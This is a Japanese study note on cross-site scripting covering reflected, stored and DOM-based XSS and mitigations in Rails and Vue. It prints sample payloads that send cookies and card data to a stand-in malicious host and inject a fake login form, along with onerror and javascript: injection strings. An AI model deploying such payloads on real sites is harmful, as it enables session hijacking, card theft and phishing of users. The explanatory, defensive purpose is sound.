クロスサイトスクリプティング(XSS)

ユーザー環境で不正なスクリプトを実行させる。

  • 標的サイトに悪意のあるスクリプトが埋め込まれるようなリンクを踏ませる or 標的サイトにフォームなどから直接悪意のあるスクリプトを埋め込む
  • 標的サイトにユーザーがアクセスしたとき、特定のタイミングでスクリプトが実行され、ページの偽造や個人情報の抜き取りなどが行われる

厳密にはHTMLの中に悪意のあるコードを埋め込まれてしまうものを「HTMLインジェクション」と呼び、その中で、サイトをまたがった悪意のあるスクリプトが実行されてしまうものをXSSと呼ぶ。

被害例

<script>
 location.href = 'http://悪意のあるサイト/getCookie.cgi?cookie=' + document.cookie;
</script>
  • 秘密情報の漏洩: 下記などのスクリプトによって、フォームに入力された秘密データを盗まれる。
<script>
$('#submit').on('chick', function() {
    $.post("http://悪意のサイト/getCardData.cgi", {"card-data": $('#card-data').val()});
});
</script>
  • 不正な書き込み: 下記などのスクリプトによって、攻撃対象の掲示板などに対して不正なメッセージを投稿される。
<script>
 $.post("/cgi-bin/blog.cgi", {"message": "悪意のある書き込み"});
</script>
  • ページの偽造やフィッシング: スクリプトによりページの内容を書き換えられる。利用者に嘘の情報を与えるほか、下記などのスクリプトにより偽りのログイン画面を表示することで、利用者の ID/パスワードやクレジットカード番号が盗まれる。
<script>
document.body.innerHTML = '\
   <form method="POST" action="http://悪意のあるサイト/ getIdPw.cgi">\
   <div>ID: <input type="text" name="id"></div>\
   <div>PW: <input type="password" name="password"></ div>\
   <input type="submit" value="Login">\
   </form>';
</script>

攻撃手法

  • 反射型XSS (Refrected XSS): 悪意のあるサイトや悪意のあるメールに記載された URL を利用者がクリックしてしまうことで、URL に埋め込まれた悪意のあるスクリプト脆弱性のあるサイトで実行されてしまうもの。
http://脆弱性のあるサイト/脆弱性のあるページ?q=<script>悪意のあるスクリプト</script>
  • 格納型XSS (Stored XSS): 攻撃者が、脆弱性のあるサイトの掲示板などに悪意のあるデータを書き込んで格納しておく。これを利用者が表示する際に、悪意のあるスクリプトが実行されてしまうもの。
名前: 山田<script>悪意のあるスクリプト</script>太郎
  • DOMベースXSS (DOM Based XSS): サーバ側ではなく、クライアント側で動的に JavaScript で HTML 生成を行う際に、悪意のあるスクリプトが埋め込まれてしまうもの。例えば、利用者が悪意のあるサイトに仕掛けられた下記の URL をクリックしたとする。
http://脆弱性のあるサイト/脆弱性のあるページ#<script>悪意のあるスクリプト</script>

脆弱性のあるサイトで下記の JavaScript が存在する場合、上記の悪意のある URL が書き込まれ、悪意のあるスクリプトが実行されてしまう。

div.innerHTML = location.hash;

Railsでの対応策

  • ユーザー入力をHTMLのテキスト部分で出力するとき、自動的にエスケープされる。
  • ただし、HTMLのアトリビュート部分やjavascript部分にユーザー入力を用いるとき、エスケープが必要である。

Vueでの対応策

  • mustaches記法{{}}をテンプレート内部に用いることで、文字列をエスケープした状態で出力できる。
  • <h1 v-bind:title="userProvidedString">のような動的な属性のバインディングも自動でエスケープ処理がされる。
脆弱性が生まれる例
v-html

ユーザーが入力したスクリプトがv-htmlで生で出力される場合

<div v-html="userInputData"></div>

data: {
    userInputData: '<img src="hoge" onerror=alert(1)>',
    // ユーザーが入力した値
}
v-bind:href

v-bind:hrefでURLをユーザーからの入力値で動的に出力する場合

<a :href="userInputURL">Link</a>

data: {
    userInputURL: 'javascript:alert(1)'
    // ユーザーが入力した値
}
v-bind:style

v-bind:styleでCSSをユーザーからの入力値で動的に出力する場合

<a :href="..."
    :style="userInputStyle">Link</a>

data: {
    userInputStyle: 'yabai script'
    // ユーザーが入力した値
}